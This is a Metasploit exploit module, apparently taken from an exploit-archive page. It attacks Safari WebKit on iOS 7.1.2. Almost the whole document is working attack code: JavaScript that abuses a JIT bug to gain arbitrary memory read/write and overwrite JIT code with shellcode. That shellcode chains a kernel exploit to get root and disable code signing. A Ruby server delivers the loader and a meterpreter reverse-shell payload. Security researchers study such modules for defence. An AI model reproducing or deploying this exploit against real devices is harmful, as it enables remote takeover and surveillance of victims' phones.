Safari Webkit For iOS 7.1.2 JIT Optimization Bug

This Metasploit module exploits a JIT optimization bug in Safari Webkit. This allows us to write shellcode to an RWX memory section in JavaScriptCore and execute it. The shellcode contains a kernel exploit (CVE-2016-4669) that obtains kernel rw, obtains root and disables code signing. Finally we download and execute the meterpreter payload. This module has been tested against iOS 7.1.2 on an iPhone 4.


MD5 | 193bef4f6ec1463a50a80fcde4b59fa1

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Post::File
include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Safari Webkit JIT Exploit for iOS 7.1.2',
'Description' => %q{
This module exploits a JIT optimization bug in Safari Webkit. This allows us to
write shellcode to an RWX memory section in JavaScriptCore and execute it. The
shellcode contains a kernel exploit (CVE-2016-4669) that obtains kernel rw,
obtains root and disables code signing. Finally we download and execute the
meterpreter payload.
This module has been tested against iOS 7.1.2 on an iPhone 4.
},
'License' => MSF_LICENSE,
'Author' => [
'kudima', # ishell
'Ian Beer', # CVE-2016-4669
'WanderingGlitch', # CVE-2018-4162
'timwr', # metasploit integration
],
'References' => [
['CVE', '2016-4669'],
['CVE', '2018-4162'],
['URL', 'https://github.com/kudima/exploit_playground/tree/master/iPhone3_1_shell'],
['URL', 'https://www.thezdi.com/blog/2018/4/12/inverting-your-assumptions-a-guide-to-jit-comparisons'],
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=882'],
],
'Arch' => ARCH_ARMLE,
'Platform' => 'apple_ios',
'DefaultTarget' => 0,
'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/armle/meterpreter_reverse_tcp' },
'Targets' => [[ 'Automatic', {} ]],
'DisclosureDate' => 'Aug 25 2016'
)
)
register_options(
[
OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 8080 ]),
OptString.new('URIPATH', [ true, 'The URI to use for this exploit.', '/' ])
]
)
register_advanced_options([
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
])
end

def exploit_js
<<~JS
//
// Initial notes.
//
// If we look at publicly available exploits for this kind of
// issues [2], [3] on 64-bit systems, they rely on that JavaScriptCore
// differently interprets the content of arrays based on
// their type, besides object pointers and 64-bit doubles may have
// the same representation.
//
// This is not the case for 32-bit version of JavaScriptCore.
// The details are in runtime/JSCJSValue.h. All JSValues are still
// 64-bit, but for the cells representing objects
// the high 32-bit are always 0xfffffffb (since we only need 32-bit
// to represent a pointer), meaning cell is always a NaN in IEEE754
// representation used for doubles and it is not possible to confuse
// an cell and a IEEE754 encoded double value.
//
// Another difference is how the cells are represented
// in the version of JavaScriptCore by iOS 7.1.2.
// The type of the cell object is determined by m_structure member
// at offset 0 which is a pointer to Structure object.
// On 64-bit systems, at the time [2], [3]
// were published, a 32-bit integer value was used as a structure id.
// And it was possible to deterministically predict that id for
// specific object layout.
//
// The exploit outline.
//
// Let's give a high level description of the steps taken by the
// exploit to get to arbitrary code execution.
//
// 1. We use side effect bug to overwrite butterfly header by confusing
// Double array with ArrayStorage and obtain out of bound (oob) read/write
// into array butterflies allocation area.
//
// 2. Use oob read/write to build addrOf/materialize object primitives,
// by overlapping ArrayStorage length with object pointer part of a cell
// stored in Contiguous array.
//
// 3. Craft a fake Number object in order to leak real object structure
// pointer via a runtime function.
//
// 4. Use leaked structure pointer to build a fake fake object allowing
// as read/write access to a Uint32Array object to obtain arbitrary read/write.
//
// 5. We overwrite rwx memory used for jit code and redirect execution
// to that memory using our arbitrary read/write.

function main(loader, macho) {

// auxillary arrays to facilitate
// 64-bit floats to pointers conversion
var ab = new ArrayBuffer(8)
var u32 = new Uint32Array(ab);
var f64 = new Float64Array(ab);

function toF64(hi, lo) {
u32[0] = hi;
u32[1] = lo;
return f64[0];
}

function toHILO(f) {
f64[0] = f;
return [u32[0], u32[1]]
}

function printF64(f) {
var u32 = toHILO(f);
return (u32[0].toString(16) + " " + u32[1].toString(16));
}

// arr is an object with a butterfly
//
// cmp is an object we compare with
//
// v is a value assigned to an indexed property,
// gives as ability to change the butterfly
function oob_write(arr, cmp, v, i) {
arr[0] = 1.1;
// place a comparison with an object,
// incorrectly modeled as side effects free
cmp == 1;
// if i less then the butterfly length,
// it simply writes the value, otherwise
// bails to baseline jit, which is going to
// handle the write via a slow path.
arr[i] = v;
return arr[0];
}

function make_oob_array() {

var oob_array;

// allocate an object
var arr = {};
arr.p = 1.1;
// allocate butterfly of size 0x38,
// 8 bytes header and 6 elements. To get the size
// we create an array and inspect its memory
// in jsc command line interpreter.
arr[0] = 1.1;

// toString is triggered during comparison,
var x = {toString: function () {
// convert the butterfly into an
// array storage with two values,
// initial 1.1 64-bit at 0 is going to be placed
// to m_vector and value at 1000 is placed into
// the m_sparceMap
arr[1000] = 2.2;
// allocate a new butterfly right after
// our ArrayStorage. The butterflies are
// allocated continuously regardless
// of the size. For the array we
// get 0x28 bytes, header and 4 elements.
oob_array = [1.1];
return '1';
}
};

// ArrayStorage buttefly--+
// |
// V
//-8 -4 0 4
// | pub length | length | m_sparceMap | m_indexBias |
//
// 8 0xc 0x10
// | m_numValuesInVector | m_padding | m_vector[0]
//
//0x18 0x20 0x28
// | m_vector[1] | m_vector[2] | m_vector[3] |
//
// oob_array butterfly
// |
// V
//0x30 0x34 0x38 0x40 0x48 0x50
// | pub length | length | el0 | el1 | el2 |
//

// We enter the function with arr butterfly
// backed up by a regular butterfly, during the side effect
// in toString method we turn it into an ArrayStorage,
// and allocate a butterfly right after it. So we
// hopefully get memory layout as on the diagram above.
//
// The compiled code for oob_write, being not aware of the
// shape change, is going to compare 6 to the ArrayStorage
// length (which we set to 1000 in toString) and proceed
// to to write at index 6 relative to ArrayStorage butterfly,
// overwriting the oob_array butterfly header with 64-bit float
// encoded as 0x0000100000001000. Which gives as ability to write
// out of bounds of oob_array up to 0x1000 bytes, hence
// the name oob_array.

var o = oob_write(arr, x, toF64(0x1000, 0x1000), 6);

return oob_array;
}

// returns address of an object
function addrOf(o) {
// overwrite ArrayStorage public length
// with the object pointer
oob_array[4] = o;
// retrieve the address as ArrayStorage
// butterfly public length
var r = oobStorage.length;
return r;
}

function materialize(addr) {
// replace ArrayStorage public length
oobStorage.length = addr;
// retrieve the placed address
// as an object
return oob_array[4];
}

function read32(addr) {
var lohi = toHILO(rw0Master.rw0_f2);
// replace m_buffer with our address
rw0Master.rw0_f2 = toF64(lohi[0], addr);
var ret = u32rw[0];
// restore
rw0Master.rw0_f2 = toF64(lohi[0], lohi[1]);
return ret;
}

function write32(addr, v) {
var lohi = toHILO(rw0Master.rw0_f2);
rw0Master.rw0_f2 = toF64(lohi[0], addr);
// for some reason if we don't do this
// and the value is negative as a signed int ( > 0x80000000)
// it takes base from a different place
u32rw[0] = v & 0xffffffff;
rw0Master.rw0_f2 = toF64(lohi[0], lohi[1]);
}

function testRW32() {
var o = [1.1];

print("--------------- testrw32 -------------");
print("len: " + o.length);

var bfly = read32(addrOf(o)+4);
print("bfly: " + bfly.toString(16));

var len = read32(bfly-8);
print("bfly len: " + len.toString(16));
write32(bfly - 8, 0x10);
var ret = o.length == 0x10;
print("len: " + o.length);
write32(bfly - 8, 1);
print("--------------- testrw32 -------------");
return ret;
}

// dump @len dword
function dumpAddr(addr, len) {
var output = 'addr: ' + addr.toString(16) + "\\n";
for (var i=0; i<len; i++) {
output += read32(addr + i*4).toString(16) + " ";
if ((i+1) % 2 == 0) {
output += "\\n";
}
}
return output;
}

// prepare the function we are going to
// use to run our macho loader
exec_code = "var o = {};";
for (var i=0; i<200; i++) {
exec_code += "o.p = 1.1;";
}
exec_code += "if (v) alert('exec');";

var exec = new Function('v', exec_code);

// force JavaScriptCore to generate jit code
// for the function
for (var i=0; i<1000; i++)
exec();

// create an object with a Double array butterfly
var arr = {};
arr.p = 1.1;
arr[0] = 1.1;

// force DFG optimization for oob_write function,
// with a write beyond the allocated storage
for (var i=0; i<10000; i++) {
oob_write(arr, {}, 1.1, 1);
}

// prepare a double array which we are going to turn
// into an ArrayStorage later on.
var oobStorage = [];
oobStorage[0] = 1.1;

// create an array with oob read/write
// relative to its butterfly
var oob_array = make_oob_array();
// Allocate an ArrayStorage after oob_array butterfly.
oobStorage[1000] = 2.2;

// convert into Contiguous storage, so we can materialize
// objects
oob_array[4] = {};

// allocate two objects with seven inline properties one after another,
// for fake object crafting
var oo = [];
for (var i=0; i<0x10; i++) {
o = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:toF64(0x4141, i )};
oo.push(o);
}

// for some reason if we just do
//var structLeaker = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:1.1};
//var fakeObjStore = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:1.1};
// the objects just get some random addressed far apart, and we need
// them allocated one after another.

var fakeObjStore = oo.pop();
// we are going to leak Structure pointer for this object
var structLeaker = oo.pop();

// eventually we want to use it for read/write into typed array,
// and typed array is 0x18 bytes from our experiments.
// To cover all 0x18 bytes, we add four out of line properties
// to the structure we want to leak.
structLeaker.rw0_f1 = 1.1;
structLeaker.rw0_f2 = 1.1;
structLeaker.rw0_f3 = 1.1;
structLeaker.rw0_f4 = 1.1;

print("fakeObjStoreAddr: " + addrOf(fakeObjStore).toString(16));
print("structLeaker: " + addrOf(structLeaker).toString(16));

var fakeObjStoreAddr = addrOf(fakeObjStore)
// m_typeInfo offset within a Structure class is 0x34
// m_typeInfo = {m_type = 0x15, m_flags = 0x80, m_flags2 = 0x0}
// for Number

// we want to achieve the following layout for fakeObjStore
//
// 0 8 0x10 0x18 0x20 0x28 0x30
// | 1.1 | 1.1 | 1.1 | 1.1 | 1.1 | 1.1 |
//
// 0x30 0x34 0x38 0x40
// | fakeObjStoreAddr | 0x00008015 | 1.1 |
//
// we materialize fakeObjStoreAddr + 0x30 as an object,
// As we can see the Structure pointer points back to fakeObjStore,
// which is acting as a structure for our object. In that fake
// structure object we craft m_typeInfo as if it was a Number object.
// At offset +0x34 the Structure objects have m_typeInfo member indicating
// the object type.
// For number it is m_typeInfo = {m_type = 0x15, m_flags = 0x80, m_flags2 = 0x0}
// So we place that value at offset 0x34 relative to the fakeObjStore start.
fakeObjStore.p6 = toF64(fakeObjStoreAddr, 0x008015);
var fakeNumber = materialize(fakeObjStoreAddr + 0x30);

// We call a runtime function valueOf on Number, which only verifies
// that m_typeInfo field describes a Number object. Then it reads
// and returns 64-bit float value at object address + 0x10.
//
// In our seven properties object, it's
// going to be a 64-bit word located right after last property. Since
// we have arranged another seven properties object to be placed right
// after fakeObjStore, we are going to get first 8 bytes of
// that cell object which has the following layout.
// 0 4 8
// | m_structure | m_butterfly |
var val = Number.prototype.valueOf.call(fakeNumber);

// get lower 32-bit of a 64-bit float, which is a structure pointer.
var _7pStructAddr = toHILO(val)[1];
print("struct addr: " + _7pStructAddr.toString(16));

// now we are going to use the structure to craft an object
// with properties allowing as read/write access to Uint32Array.

var aabb = new ArrayBuffer(0x20);

// Uint32Array is 0x18 bytes,
// + 0xc m_impl
// + 0x10 m_storageLength
// + 0x14 m_storage
var u32rw = new Uint32Array(aabb, 4);

// Create a fake object with the structure we leaked before.
// So we can r/w to Uint32Array via out of line properties.
// The ool properties are placed before the butterfly header,
// so we point our fake object butterfly to Uint32Array + 0x28,
// to cover first 0x20 bytes via four out of line properties we added earlier
var objRW0Store = {p1:toF64(_7pStructAddr, addrOf(u32rw) + 0x28), p2:1.1};

// materialize whatever we put in the first inline property as an object
var rw0Master = materialize(addrOf(objRW0Store) + 8);

// magic
var o = {p1: 1.1, p2: 1.1, p3: 1.1, p4: 1.1};
for (var i=0; i<8; i++) {
read32(addrOf(o));
write32(addrOf(o)+8, 0);
}

//testRW32();
// JSFunction->m_executable
var m_executable = read32(addrOf(exec)+0xc);

// m_executable->m_jitCodeForCall
var jitCodeForCall = read32(m_executable + 0x14) - 1;
print("jit code pointer: " + jitCodeForCall.toString(16));

// Get JSCell::destroy pointer, and pass it
// to the code we are going to execute as an argument
var n = new Number(1.1);
var struct = read32(addrOf(n));
// read methodTable
var classInfo = read32(struct + 0x20);
// read JSCell::destroy
var JSCell_destroy = read32(classInfo + 0x10);

print("JSCell_destroy: " + JSCell_destroy.toString(16));

// overwrite jit code of exec function
for (var i=0; i<loader.length; i++) {
var x = loader[i];
write32(jitCodeForCall+i*4, x);
}

// pass JSCell::destroy pointer and
// the macho file as arguments to our
// macho file loader, so it can get dylib cache slide
var nextBuf = read32(addrOf(macho) + 0x14);
// we pass parameters to the loader as a list of 32-bit words
// places right before the start
write32(jitCodeForCall-4, JSCell_destroy);
write32(jitCodeForCall-8, nextBuf);
print("nextBuf: " + nextBuf.toString(16));
// start our macho loader
print("executing macho...");
exec(true);
print("exec returned");
return;
}

try {
function asciiToUint8Array(str) {

var len = Math.floor((str.length + 4)/4) * 4;
var bytes = new Uint8Array(len);

for (var i=0; i<str.length; i++) {
var code = str.charCodeAt(i);
bytes[i] = code & 0xff;
}

return bytes;
}

// loads base64 encoded payload from the server and converts
// it into a Uint32Array
function loadAsUint32Array(path) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", path+"?cache=" + new Date().getTime(), false);
xhttp.send();
var payload = atob(xhttp.response);
payload = asciiToUint8Array(payload);
return new Uint32Array(payload.buffer);
}

var loader = loadAsUint32Array("loader.b64");
var macho = loadAsUint32Array("macho.b64");
setTimeout(function() {main(loader, macho);}, 50);
} catch (e) {
print(e + "\\n" + e.stack);
}
JS
end

def on_request_uri(cli, request)
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
print_status("[*] #{request.body}")
send_response(cli, '')
return
end

print_status("Request #{request.uri} from #{request['User-Agent']}")
if request.uri.starts_with? '/loader.b64'
loader_data = exploit_data('CVE-2016-4669', 'loader')
loader_data = Rex::Text.encode_base64(loader_data)
send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' })
return
elsif request.uri.starts_with? '/macho.b64'
loader_data = exploit_data('CVE-2016-4669', 'macho')
payload_url = "http://#{Rex::Socket.source_address('1.2.3.4')}:#{srvport}/payload"
payload_url_index = loader_data.index('PAYLOAD_URL_PLACEHOLDER')
loader_data[payload_url_index, payload_url.length] = payload_url
loader_data = Rex::Text.encode_base64(loader_data)
send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' })
return
elsif request.uri.starts_with? '/payload'
print_good('Target is vulnerable, sending payload!')
send_response(cli, payload.raw, { 'Content-Type' => 'application/octet-stream' })
return
end

jscript = exploit_js
if datastore['DEBUG_EXPLOIT']
debugjs = %Q^
print = function(arg) {
var request = new XMLHttpRequest();
request.open("POST", "/print", false);
request.send("" + arg);
};
^
jscript = "#{debugjs}#{jscript}"
else
jscript.gsub!(/\/\/.*$/, '') # strip comments
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
end

html = <<~HTML
<html>
<body>
<script>
#{jscript}
</script>
</body>
</html>
HTML

send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })
end

end

Related Posts